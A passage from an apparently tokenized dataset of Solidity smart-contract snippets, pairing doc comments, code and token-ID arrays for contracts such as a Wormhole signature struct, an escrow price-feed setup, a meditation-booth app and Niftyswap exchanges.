-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42220/0x553a2a1B70725C1042A0D76e16f4f5a683648dEB/sources/src/interfaces/IWormhole.sol
@notice Guardian signature with signer index. @dev The fields are as follows: - r - Signature r value. - s - Signature s value. - v - Signature v value. - guardianIndex - Index of the signer in the guardian set.
struct Signature { bytes32 r; bytes32 s; uint8 v; uint8 guardianIndex; }
3,497,985
[ 1, 16709, 2779, 3372, 598, 10363, 770, 18, 225, 1021, 1466, 854, 487, 13040, 30, 1377, 300, 436, 300, 9249, 436, 460, 18, 1377, 300, 272, 300, 9249, 272, 460, 18, 1377, 300, 331, 300, 9249, 331, 460, 18, 1377, 300, 11026, 2779, 1016, 300, 3340, 434, 326, 10363, 316, 326, 11026, 2779, 444, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 9249, 288, 203, 3639, 1731, 1578, 436, 31, 203, 3639, 1731, 1578, 272, 31, 203, 3639, 2254, 28, 331, 31, 203, 3639, 2254, 28, 11026, 2779, 1016, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/97/0x81e206F92d237Dc849353F6E15513b8D88ea451B/sources/project_/contracts/Escrow.sol
BNB mainnet: 0x45f86CA2A8BC9EBD757225B19a1A0D7051bE46Db BNB testnet: 0x2514895c72f50D8bd4B4F9b1110F0D6bD2c97526
{ priceFeedAddress = 0x2514895c72f50D8bd4B4F9b1110F0D6bD2c97526; priceFeed = AggregatorV3Interface(priceFeedAddress); owner = msg.sender; }
3,286,945
[ 1, 15388, 38, 2774, 2758, 30, 374, 92, 7950, 74, 5292, 3587, 22, 37, 28, 16283, 29, 41, 18096, 5877, 9060, 2947, 38, 3657, 69, 21, 37, 20, 40, 27, 6260, 21, 70, 41, 8749, 4331, 605, 20626, 1842, 2758, 30, 374, 92, 2947, 3461, 6675, 25, 71, 9060, 74, 3361, 40, 28, 16410, 24, 38, 24, 42, 29, 70, 2499, 2163, 42, 20, 40, 26, 70, 40, 22, 71, 29, 5877, 5558, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 288, 203, 3639, 6205, 8141, 1887, 273, 374, 92, 2947, 3461, 6675, 25, 71, 9060, 74, 3361, 40, 28, 16410, 24, 38, 24, 42, 29, 70, 2499, 2163, 42, 20, 40, 26, 70, 40, 22, 71, 29, 5877, 5558, 31, 203, 3639, 6205, 8141, 273, 10594, 639, 58, 23, 1358, 12, 8694, 8141, 1887, 1769, 203, 3639, 3410, 273, 1234, 18, 15330, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.5.16; // SPDX-License-Identifier: MIT import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol"; /************************************************** */ /* no1s1 App Smart Contract */ /************************************************** */ contract no1s1App { using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIABLES */ /********************************************************************************************/ address private contractOwner; // Account used to deploy contract No1s1Data no1s1Data; // State variable referencing the data contract uint256 private constant MEDITATION_PRICE = 0.01 ether; // Price per minute meditation in no1s1 uint256 private constant ESCROW_AMOUNT = 0.5 ether; // Escrow amount to be paid to meditate uint256 private constant MAX_DURATION = 60; // Maximum allowed duration to meditate per user in minutes // Minimum values for battery state of charge uint256 private constant FULL_VALUE = 75; uint256 private constant GOOD_VALUE = 45; uint256 private constant LOW_VALUE = 25; // Minimum duration for given battery state of charge uint256 private constant FULL_DURATION = 60; uint256 private constant GOOD_DURATION = 30; uint256 private constant LOW_DURATION = 10; // Mappings (key value pairs) mapping(address => uint256) authorizedBackends; // Mapping to store authorized backends that can call into the app contract /********************************************************************************************/ /* EVENT DEFINITIONS */ /********************************************************************************************/ // Emitted when new backend is de-/authorized event AuthorizedBackend(address backendAddress); event DeAuthorizedBackend(address backendAddress); /********************************************************************************************/ /* FUNCTION MODIFIERS */ /********************************************************************************************/ /** * @dev Modifier that requires the "contractOwner" account to be the function caller */ modifier requireContractOwner() { require(msg.sender == contractOwner, "Caller is not contract owner"); _; } /** * @dev Modifier that requires that the contract calling into the data contract is authorized */ modifier requireBackend() { require(authorizedBackends[msg.sender] == 1, "Backend is not authorized"); _; } /********************************************************************************************/ /* CONSTRUCTOR */ /********************************************************************************************/ /** * @dev Contract constructor * tells the App contract where to find the data of the app contract (address) */ constructor(address dataContract) { contractOwner = msg.sender; no1s1Data = No1s1Data(dataContract); // register msg.sender as first backend authorizeBackend(msg.sender); } /********************************************************************************************/ /* UTILITY FUNCTIONS */ /********************************************************************************************/ /** * @dev authorize app contract to call into data contract * @return A bool that is the current authorization status */ function authorizeBackend(address backendAddress) public requireContractOwner returns(bool) { authorizedBackends[backendAddress] = 1; emit AuthorizedBackend(backendAddress); return true; } /** * @dev deauthorize app contract to call into data contract * @return A bool that is the current authorization status */ function deAuthorizeBackend(address backendAddress) public requireContractOwner returns(bool) { delete authorizedBackends[backendAddress]; emit DeAuthorizedBackend(backendAddress); return true; } /********************************************************************************************/ /* SMART CONTRACT FUNCTIONS */ /********************************************************************************************/ /** * @dev function for backend to trigger storing the current state of no1s1 (daily) * Pass address of function caller to data contract to enable role modifier */ function setAccessabilityStatus(bool mode) external requireContractOwner { no1s1Data.setAccessabilityStatus(mode); } /** * @dev function for backend to trigger storing the current state of no1s1 (daily) * Pass address of function caller to data contract to enable role modifier */ function setOccupationStatus(bool mode) external requireContractOwner { no1s1Data.setOccupationStatus(mode); } /** * @dev function to log data in smart contract when broadcasting from backend to frontend */ function broadcastData(uint256 _Bcurrent,uint256 _Bvoltage, uint256 _BSOC,uint256 _Pvoltage, uint256 _Senergy, uint256 _Time) external requireBackend { no1s1Data.broadcastData(_Bcurrent, _Bvoltage, _BSOC, _Pvoltage, _Senergy, _Time, FULL_VALUE, GOOD_VALUE, LOW_VALUE); } /** * @dev function for backend to trigger storing the current state of no1s1 (daily) * Pass address of function caller to data contract to enable role modifier */ function no1s1InfoLog(uint256 _Time) external requireBackend { no1s1Data.no1s1InfoLog(_Time); } /** * @dev buy function to access no1s1, only pass _selectedDuration and _username! */ function buy(uint256 _selectedDuration, string calldata _username) external payable { no1s1Data.buy{value: msg.value}(_selectedDuration, msg.sender, _username, ESCROW_AMOUNT, MAX_DURATION, GOOD_DURATION, LOW_DURATION); } /** * @dev function to check whether QR code is valid and authorizes to unlock door * Pass address of function caller to data contract to enable role modifier */ function checkAccess(bytes32 _key) external requireBackend { no1s1Data.checkAccess(_key, GOOD_DURATION, LOW_DURATION); } /** * @dev function triggered by back-end shortly after access() function with sensor feedback * Pass address of function caller to data contract to enable role modifier */ function checkActivity(bool _pressureDetected, bytes32 _key) external requireBackend { no1s1Data.checkActivity(_pressureDetected, _key); } /** * @dev function triggered by user after leaving no1s1. resets the occupancy state, pays back escrow, and sends out confirmation NFT */ function exit(bool _doorOpened, uint256 _actualDuration, bytes32 _key) external requireBackend { no1s1Data.exit(_doorOpened, _actualDuration, _key); } /** * @dev function triggered by user after leaving no1s1. resets the occupancy state, pays back escrow, and sends out confirmation NFT */ function refundEscrow(string calldata _username) external { no1s1Data.refundEscrow(msg.sender, _username, MEDITATION_PRICE); } // call from data contract function isDataContractOperational() external view returns(bool) { return no1s1Data.isOperational(); } /** * @dev Get operating status of no1s1 (main state variables) */ function howAmI() external view returns (bool accessability, bool occupation, uint256 batteryState, uint256 totalUsers, uint256 totalDuration, uint256 myBalance) { return no1s1Data.howAmI(); } /** * @dev Get address of no1s1 */ function whoAmI() external view returns(address no1s1Address) { return no1s1Data.whoAmI(); } /** * @dev Get balance of no1s1 */ function howRichAmI() external view returns(uint256 no1s1Balance) { return no1s1Data.howRichAmI(); } /** * @dev get latest entries of UsageLog (max 10) */ function getUsageLog() external view returns(uint256[] memory users, uint256[] memory balances, uint256[] memory durations) { return no1s1Data.getUsageLog(); } /** * @dev retrieve values needed to buy meditation time */ function checkBuyStatus() external view returns(uint256 batteryState, uint256 availableMinutes, uint256 costPerMinute , uint256 lastUpdate) { return no1s1Data.checkBuyStatus(MEDITATION_PRICE, FULL_DURATION, GOOD_DURATION, LOW_DURATION); } /** * @dev retrieve the latest technical logs */ function checkLastTechLogs() external view returns(uint256 pvVoltage, uint256 systemPower, uint256 batteryChargeState, uint256 batteryCurrency, uint256 batteryVoltage) { return no1s1Data.checkLastTechLogs(); } /** * @dev retrieve user information with key (QR code) */ function checkUserKey(bytes32 _key) external view returns(uint256 meditationDuration, bool accessed, uint256 actualDuration, bool left, uint256 escrow) { return no1s1Data.checkUserKey(_key); } /** * @dev retrieve user information with username */ function checkUserName(string calldata _username) external view returns(bytes32 qrCode, uint256 meditationDuration, bool accessed, uint256 actualDuration, bool left, uint256 escrow) { return no1s1Data.checkUserName(msg.sender, _username); } } /********************************************************************************************/ /* Interface to Data Contract */ /********************************************************************************************/ //visibility (also in data contract) must be `external` and signature of functions must match! interface No1s1Data { function setAccessabilityStatus(bool mode) external; function setOccupationStatus(bool mode) external; function broadcastData(uint256 _Bcurrent,uint256 _Bvoltage, uint256 _BSOC,uint256 _Pvoltage, uint256 _Senergy, uint256 _Time, uint256 FULL_VALUE, uint256 GOOD_VALUE, uint256 LOW_VALUE) external; function no1s1InfoLog(uint256 _Time) external; function buy(uint256 _selectedDuration, address txSender, string calldata _username, uint256 ESCROW_AMOUNT, uint256 MAX_DURATION, uint256 GOOD_DURATION, uint256 LOW_DURATION) external payable; function checkAccess(bytes32 _key, uint256 GOOD_DURATION, uint256 LOW_DURATION) external; function checkActivity(bool _pressureDetected, bytes32 _key) external; function exit(bool _doorOpened, uint256 _actualDuration, bytes32 _key) external; function refundEscrow(address _sender, string calldata _username, uint256 MEDITATION_PRICE) external; function isOperational() external view returns(bool); function howAmI() external view returns (bool accessability, bool occupation, uint256 batteryState, uint256 totalUsers, uint256 totalDuration, uint256 myBalance); function whoAmI() external view returns(address no1s1Address); function howRichAmI() external view returns(uint256 no1s1Balance); function getUsageLog() external view returns(uint256[] memory users, uint256[] memory balances, uint256[] memory durations); function checkBuyStatus(uint256 MEDITATION_PRICE, uint256 FULL_DURATION, uint256 GOOD_DURATION, uint256 LOW_DURATION) external view returns(uint256 batteryState, uint256 availableMinutes, uint256 costPerMinute , uint256 lastUpdate); function checkLastTechLogs() external view returns(uint256 pvVoltage, uint256 systemPower, uint256 batteryChargeState, uint256 batteryCurrency, uint256 batteryVoltage); function checkUserKey(bytes32 _key) external view returns(uint256 meditationDuration, bool accessed, uint256 actualDuration, bool left, uint256 escrow); function checkUserName(address, string calldata _username) external view returns(bytes32 qrCode, uint256 meditationDuration, bool accessed, uint256 actualDuration, bool left, uint256 escrow); }
* @dev function for backend to trigger storing the current state of no1s1 (daily) Pass address of function caller to data contract to enable role modifier/
function no1s1InfoLog(uint256 _Time) external requireBackend { no1s1Data.no1s1InfoLog(_Time); }
12,788,231
[ 1, 915, 364, 4221, 358, 3080, 15729, 326, 783, 919, 434, 1158, 21, 87, 21, 261, 26790, 13, 10311, 1758, 434, 445, 4894, 358, 501, 6835, 358, 4237, 2478, 9606, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1158, 21, 87, 21, 966, 1343, 12, 11890, 5034, 389, 950, 13, 3903, 2583, 7172, 203, 565, 288, 203, 3639, 1158, 21, 87, 21, 751, 18, 2135, 21, 87, 21, 966, 1343, 24899, 950, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; import "./NiftyswapExchange20.sol"; import "../utils/Ownable.sol"; import "../interfaces/INiftyswapFactory20.sol"; import "../interfaces/IDelegatedERC1155Metadata.sol"; contract NiftyswapFactory20 is INiftyswapFactory20, Ownable, IDelegatedERC1155Metadata { /***********************************| | Events And Variables | |__________________________________*/ // tokensToExchange[erc1155_token_address][currency_address] mapping(address => mapping(address => mapping(uint256 => address))) public override tokensToExchange; mapping(address => mapping(address => address[])) internal pairExchanges; // Metadata implementation IERC1155Metadata internal metadataContract; // address of the ERC-1155 Metadata contract /** * @notice Will set the initial Niftyswap admin * @param _admin Address of the initial niftyswap admin to set as Owner */ constructor(address _admin) Ownable(_admin) { } /***********************************| | Functions | |__________________________________*/ /** * @notice Creates a NiftySwap Exchange for given token contract * @param _token The address of the ERC-1155 token contract * @param _currency The address of the ERC-20 token contract * @param _lpFee Fee that will go to LPs. * Number between 0 and 1000, where 10 is 1.0% and 100 is 10%. * @param _instance Instance # that allows to deploy new instances of an exchange. * This is mainly meant to be used for tokens that change their ERC-2981 support. */ function createExchange(address _token, address _currency, uint256 _lpFee, uint256 _instance) public override { require(tokensToExchange[_token][_currency][_instance] == address(0x0), "NF20#1"); // NiftyswapFactory20#createExchange: EXCHANGE_ALREADY_CREATED // Create new exchange contract NiftyswapExchange20 exchange = new NiftyswapExchange20(_token, _currency, _lpFee); // Store exchange and token addresses tokensToExchange[_token][_currency][_instance] = address(exchange); pairExchanges[_token][_currency].push(address(exchange)); // Emit event emit NewExchange(_token, _currency, _instance, address(exchange)); } /** * @notice Returns array of exchange instances for a given pair * @param _token The address of the ERC-1155 token contract * @param _currency The address of the ERC-20 token contract */ function getPairExchanges(address _token, address _currency) public override view returns (address[] memory) { return pairExchanges[_token][_currency]; } /***********************************| | Metadata Functions | |__________________________________*/ /** * @notice Changes the implementation of the ERC-1155 Metadata contract * @dev This function changes the implementation for all child exchanges of the factory * @param _contract The address of the ERC-1155 Metadata contract */ function setMetadataContract(IERC1155Metadata _contract) onlyOwner external { emit MetadataContractChanged(address(_contract)); metadataContract = _contract; } /** * @notice Returns the address of the ERC-1155 Metadata contract */ function metadataProvider() external override view returns (IERC1155Metadata) { return metadataContract; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; interface INiftyswapFactory20 { /***********************************| | Events | |__________________________________*/ event NewExchange(address indexed token, address indexed currency, uint256 indexed salt, address exchange); event MetadataContractChanged(address indexed metadataContract); /***********************************| | Public Functions | |__________________________________*/ /** * @notice Creates a NiftySwap Exchange for given token contract * @param _token The address of the ERC-1155 token contract * @param _currency The address of the currency token contract * @param _lpFee Fee that will go to LPs * Number between 0 and 1000, where 10 is 1.0% and 100 is 10%. * @param _instance Instance # that allows to deploy new instances of an exchange. * This is mainly meant to be used for tokens that change their ERC-2981 support. */ function createExchange(address _token, address _currency, uint256 _lpFee, uint256 _instance) external; /** * @notice Return address of exchange for corresponding ERC-1155 token contract * @param _token The address of the ERC-1155 token contract * @param _currency The address of the currency token contract * @param _instance Instance # that allows to deploy new instances of an exchange. * This is mainly meant to be used for tokens that change their ERC-2981 support. */ function tokensToExchange(address _token, address _currency, uint256 _instance) external view returns (address); /** * @notice Returns array of exchange instances for a given pair * @param _token The address of the ERC-1155 token contract * @param _currency The address of the ERC-20 token contract */ function getPairExchanges(address _token, address _currency) external view returns (address[] memory); } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.4; pragma experimental ABIEncoderV2; import "../interfaces/INiftyswapExchange.sol"; import "../utils/ReentrancyGuard.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC165.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC1155.sol"; import "@0xsequence/erc-1155/contracts/interfaces/IERC1155TokenReceiver.sol"; import "@0xsequence/erc-1155/contracts/tokens/ERC1155/ERC1155MintBurn.sol"; /** * This Uniswap-like implementation supports ERC-1155 standard tokens * with an ERC-1155 based token used as a currency instead of Ether. * * See https://github.com/0xsequence/erc20-meta-token for a generalized * ERC-20 => ERC-1155 token wrapper * * Liquidity tokens are also ERC-1155 tokens you can find the ERC-1155 * implementation used here: * https://github.com/horizon-games/multi-token-standard/tree/master/contracts/tokens/ERC1155 * * @dev Like Uniswap, tokens with 0 decimals and low supply are susceptible to significant rounding * errors when it comes to removing liquidity, possibly preventing them to be withdrawn without * some collaboration between liquidity providers. */ contract NiftyswapExchange is ReentrancyGuard, ERC1155MintBurn, INiftyswapExchange { using SafeMath for uint256; /***********************************| | Variables & Constants | |__________________________________*/ // Variables IERC1155 internal token; // address of the ERC-1155 token contract IERC1155 internal currency; // address of the ERC-1155 currency used for exchange bool internal currencyPoolBanned; // Whether the currency token ID can have a pool or not address internal factory; // address for the factory that created this contract uint256 internal currencyID; // ID of currency token in ERC-1155 currency contract uint256 internal constant FEE_MULTIPLIER = 995; // Multiplier that calculates the fee (1.0%) // Mapping variables mapping(uint256 => uint256) internal totalSupplies; // Liquidity pool token supply per Token id mapping(uint256 => uint256) internal currencyReserves; // currency Token reserve per Token id /***********************************| | Constructor | |__________________________________*/ /** * @notice Create instance of exchange contract with respective token and currency token * @param _tokenAddr The address of the ERC-1155 Token * @param _currencyAddr The address of the ERC-1155 currency Token * @param _currencyID The ID of the ERC-1155 currency Token */ constructor(address _tokenAddr, address _currencyAddr, uint256 _currencyID) public { require( address(_tokenAddr) != address(0) && _currencyAddr != address(0), "NiftyswapExchange#constructor:INVALID_INPUT" ); factory = msg.sender; token = IERC1155(_tokenAddr); currency = IERC1155(_currencyAddr); currencyID = _currencyID; // If token and currency are the same contract, // need to prevent currency/currency pool to be created. currencyPoolBanned = _currencyAddr == _tokenAddr ? true : false; } /***********************************| | Exchange Functions | |__________________________________*/ /** * @notice Convert currency tokens to Tokens _id and transfers Tokens to recipient. * @dev User specifies MAXIMUM inputs (_maxCurrency) and EXACT outputs. * @dev Assumes that all trades will be successful, or revert the whole tx * @dev Exceeding currency tokens sent will be refunded to recipient * @dev Sorting IDs is mandatory for efficient way of preventing duplicated IDs (which would lead to exploit) * @param _tokenIds Array of Tokens ID that are bought * @param _tokensBoughtAmounts Amount of Tokens id bought for each corresponding Token id in _tokenIds * @param _maxCurrency Total maximum amount of currency tokens to spend for all Token ids * @param _deadline Timestamp after which this transaction will be reverted * @param _recipient The address that receives output Tokens and refund * @return currencySold How much currency was actually sold. */ function _currencyToToken( uint256[] memory _tokenIds, uint256[] memory _tokensBoughtAmounts, uint256 _maxCurrency, uint256 _deadline, address _recipient) internal nonReentrant() returns (uint256[] memory currencySold) { // Input validation require(_deadline >= block.timestamp, "NiftyswapExchange#_currencyToToken: DEADLINE_EXCEEDED"); // Number of Token IDs to deposit uint256 nTokens = _tokenIds.length; uint256 totalRefundCurrency = _maxCurrency; // Initialize variables currencySold = new uint256[](nTokens); // Amount of currency tokens sold per ID uint256[] memory tokenReserves = new uint256[](nTokens); // Amount of tokens in reserve for each Token id // Get token reserves tokenReserves = _getTokenReserves(_tokenIds); // Assumes he currency Tokens are already received by contract, but not // the Tokens Ids // Remove liquidity for each Token ID in _tokenIds for (uint256 i = 0; i < nTokens; i++) { // Store current id and amount from argument arrays uint256 idBought = _tokenIds[i]; uint256 amountBought = _tokensBoughtAmounts[i]; uint256 tokenReserve = tokenReserves[i]; require(amountBought > 0, "NiftyswapExchange#_currencyToToken: NULL_TOKENS_BOUGHT"); // Load currency token and Token _id reserves uint256 currencyReserve = currencyReserves[idBought]; // Get amount of currency tokens to send for purchase // Neither reserves amount have been changed so far in this transaction, so // no adjustment to the inputs is needed uint256 currencyAmount = getBuyPrice(amountBought, currencyReserve, tokenReserve); // Calculate currency token amount to refund (if any) where whatever is not used will be returned // Will throw if total cost exceeds _maxCurrency totalRefundCurrency = totalRefundCurrency.sub(currencyAmount); // Append Token id, Token id amount and currency token amount to tracking arrays currencySold[i] = currencyAmount; // Update individual currency reseve amount currencyReserves[idBought] = currencyReserve.add(currencyAmount); } // Refund currency token if any if (totalRefundCurrency > 0) { currency.safeTransferFrom(address(this), _recipient, currencyID, totalRefundCurrency, ""); } // Send Tokens all tokens purchased token.safeBatchTransferFrom(address(this), _recipient, _tokenIds, _tokensBoughtAmounts, ""); return currencySold; } /** * @dev Pricing function used for converting between currency token to Tokens. * @param _assetBoughtAmount Amount of Tokens being bought. * @param _assetSoldReserve Amount of currency tokens in exchange reserves. * @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves. * @return price Amount of currency tokens to send to Niftyswap. */ function getBuyPrice( uint256 _assetBoughtAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) override public pure returns (uint256 price) { // Reserves must not be empty require(_assetSoldReserve > 0 && _assetBoughtReserve > 0, "NiftyswapExchange#getBuyPrice: EMPTY_RESERVE"); // Calculate price with fee uint256 numerator = _assetSoldReserve.mul(_assetBoughtAmount).mul(1000); uint256 denominator = (_assetBoughtReserve.sub(_assetBoughtAmount)).mul(FEE_MULTIPLIER); (price, ) = divRound(numerator, denominator); return price; // Will add 1 if rounding error } /** * @notice Convert Tokens _id to currency tokens and transfers Tokens to recipient. * @dev User specifies EXACT Tokens _id sold and MINIMUM currency tokens received. * @dev Assumes that all trades will be valid, or the whole tx will fail * @dev Sorting _tokenIds is mandatory for efficient way of preventing duplicated IDs (which would lead to errors) * @param _tokenIds Array of Token IDs that are sold * @param _tokensSoldAmounts Array of Amount of Tokens sold for each id in _tokenIds. * @param _minCurrency Minimum amount of currency tokens to receive * @param _deadline Timestamp after which this transaction will be reverted * @param _recipient The address that receives output currency tokens. * @return currencyBought How much currency was actually purchased. */ function _tokenToCurrency( uint256[] memory _tokenIds, uint256[] memory _tokensSoldAmounts, uint256 _minCurrency, uint256 _deadline, address _recipient) internal nonReentrant() returns (uint256[] memory currencyBought) { // Number of Token IDs to deposit uint256 nTokens = _tokenIds.length; // Input validation require(_deadline >= block.timestamp, "NiftyswapExchange#_tokenToCurrency: DEADLINE_EXCEEDED"); // Initialize variables uint256 totalCurrency = 0; // Total amount of currency tokens to transfer currencyBought = new uint256[](nTokens); uint256[] memory tokenReserves = new uint256[](nTokens); // Get token reserves tokenReserves = 